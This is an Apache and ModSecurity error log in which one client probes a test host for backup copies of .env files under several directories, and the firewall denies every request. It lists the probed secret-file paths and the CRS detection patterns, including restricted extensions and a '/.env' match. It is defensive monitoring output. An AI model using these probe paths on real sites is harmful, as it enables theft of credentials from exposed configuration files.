[Sun Nov 16 05:34:22.447953 2025] [:error] [pid 103444] [client 18.119.101.32:37146] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aRlUTkjUGFX9l3ZphyhAnwAAAAc"]
[Sun Nov 16 05:34:22.448112 2025] [:error] [pid 103444] [client 18.119.101.32:37146] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aRlUTkjUGFX9l3ZphyhAnwAAAAc"]
[Sun Nov 16 05:34:23.170280 2025] [:error] [pid 103401] [client 18.119.101.32:37182] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aRlUT75rejGDIGJeuSGFugAAAAM"]
[Sun Nov 16 05:34:23.170468 2025] [:error] [pid 103401] [client 18.119.101.32:37182] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aRlUT75rejGDIGJeuSGFugAAAAM"]
[Sun Nov 16 05:34:23.170684 2025] [:error] [pid 103401] [client 18.119.101.32:37182] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aRlUT75rejGDIGJeuSGFugAAAAM"]
[Sun Nov 16 05:34:23.170858 2025] [:error] [pid 103401] [client 18.119.101.32:37182] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aRlUT75rejGDIGJeuSGFugAAAAM"]
[Sun Nov 16 05:34:23.247107 2025] [:error] [pid 103448] [client 18.119.101.32:37168] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aRlUTwbV20V557lJgw5ylQAAAAs"]
[Sun Nov 16 05:34:23.247268 2025] [:error] [pid 103448] [client 18.119.101.32:37168] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aRlUTwbV20V557lJgw5ylQAAAAs"]
[Sun Nov 16 05:34:23.247462 2025] [:error] [pid 103448] [client 18.119.101.32:37168] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aRlUTwbV20V557lJgw5ylQAAAAs"]
[Sun Nov 16 05:34:23.247631 2025] [:error] [pid 103448] [client 18.119.101.32:37168] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aRlUTwbV20V557lJgw5ylQAAAAs"]
[Sun Nov 16 05:34:41.268685 2025] [:error] [pid 105715] [client 18.119.101.32:43446] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aRlUYTHqqjYXoy22w5Lv3gAAAAE"]
[Sun Nov 16 05:34:41.268937 2025] [:error] [pid 105715] [client 18.119.101.32:43446] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aRlUYTHqqjYXoy22w5Lv3gAAAAE"]
[Sun Nov 16 05:34:41.269118 2025] [:error] [pid 105715] [client 18.119.101.32:43446] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.save"] [unique_id "aRlUYTHqqjYXoy22w5Lv3gAAAAE"]
[Sun Nov 16 05:34:41.277341 2025] [:error] [pid 103445] [client 18.119.101.32:43440] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aRlUYUC1MmZNgKkPK0wSYwAAAAg"]
[Sun Nov 16 05:34:41.277494 2025] [:error] [pid 103445] [client 18.119.101.32:43440] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aRlUYUC1MmZNgKkPK0wSYwAAAAg"]
[Sun Nov 16 05:34:41.277684 2025] [:error] [pid 103445] [client 18.119.101.32:43440] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aRlUYUC1MmZNgKkPK0wSYwAAAAg"]
[Sun Nov 16 05:34:41.277844 2025] [:error] [pid 103445] [client 18.119.101.32:43440] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.old"] [unique_id "aRlUYUC1MmZNgKkPK0wSYwAAAAg"]
[Sun Nov 16 05:34:41.282675 2025] [:error] [pid 103398] [client 18.119.101.32:43436] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aRlUYbczEoTwe_Jf335FTQAAAAA"]
[Sun Nov 16 05:34:41.282847 2025] [:error] [pid 103398] [client 18.119.101.32:43436] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aRlUYbczEoTwe_Jf335FTQAAAAA"]
[Sun Nov 16 05:34:41.283001 2025] [:error] [pid 103398] [client 18.119.101.32:43436] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aRlUYbczEoTwe_Jf335FTQAAAAA"]
[Sun Nov 16 05:34:41.335061 2025] [:error] [pid 105703] [client 18.119.101.32:43462] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aRlUYfg2Gh-L-AjQsRfGxQAAAAU"]
[Sun Nov 16 05:34:41.335219 2025] [:error] [pid 105703] [client 18.119.101.32:43462] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aRlUYfg2Gh-L-AjQsRfGxQAAAAU"]
[Sun Nov 16 05:34:41.335394 2025] [:error] [pid 105703] [client 18.119.101.32:43462] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aRlUYfg2Gh-L-AjQsRfGxQAAAAU"]
[Sun Nov 16 05:34:41.335543 2025] [:error] [pid 105703] [client 18.119.101.32:43462] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.bak"] [unique_id "aRlUYfg2Gh-L-AjQsRfGxQAAAAU"]
[Sun Nov 16 05:34:53.391397 2025] [:error] [pid 103446] [client 18.119.101.32:34010] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aRlUbU-c4YqyOTFJOSeIRgAAAAk"]
[Sun Nov 16 05:34:53.392200 2025] [:error] [pid 103446] [client 18.119.101.32:34010] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aRlUbU-c4YqyOTFJOSeIRgAAAAk"]
[Sun Nov 16 05:34:53.392412 2025] [:error] [pid 103446] [client 18.119.101.32:34010] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aRlUbU-c4YqyOTFJOSeIRgAAAAk"]
[Sun Nov 16 05:34:53.392614 2025] [:error] [pid 103446] [client 18.119.101.32:34010] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env.old"] [unique_id "aRlUbU-c4YqyOTFJOSeIRgAAAAk"]
[Sun Nov 16 05:34:58.648237 2025] [authz_core:error] [pid 103447] [client 18.119.101.32:34030] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.save
[Sun Nov 16 05:34:58.662157 2025] [:error] [pid 105706] [client 18.119.101.32:34016] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aRlUcvgkUVuXhjEnxphnOQAAAAQ"]
[Sun Nov 16 05:34:58.662313 2025] [:error] [pid 105706] [client 18.119.101.32:34016] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aRlUcvgkUVuXhjEnxphnOQAAAAQ"]
[Sun Nov 16 05:34:58.662548 2025] [:error] [pid 105706] [client 18.119.101.32:34016] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aRlUcvgkUVuXhjEnxphnOQAAAAQ"]
[Sun Nov 16 05:34:58.662872 2025] [:error] [pid 105706] [client 18.119.101.32:34016] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aRlUcvgkUVuXhjEnxphnOQAAAAQ"]
[Sun Nov 16 05:34:58.674837 2025] [:error] [pid 103444] [client 18.119.101.32:34062] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aRlUckjUGFX9l3ZphyhAoAAAAAc"]
[Sun Nov 16 05:34:58.674995 2025] [:error] [pid 103444] [client 18.119.101.32:34062] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aRlUckjUGFX9l3ZphyhAoAAAAAc"]
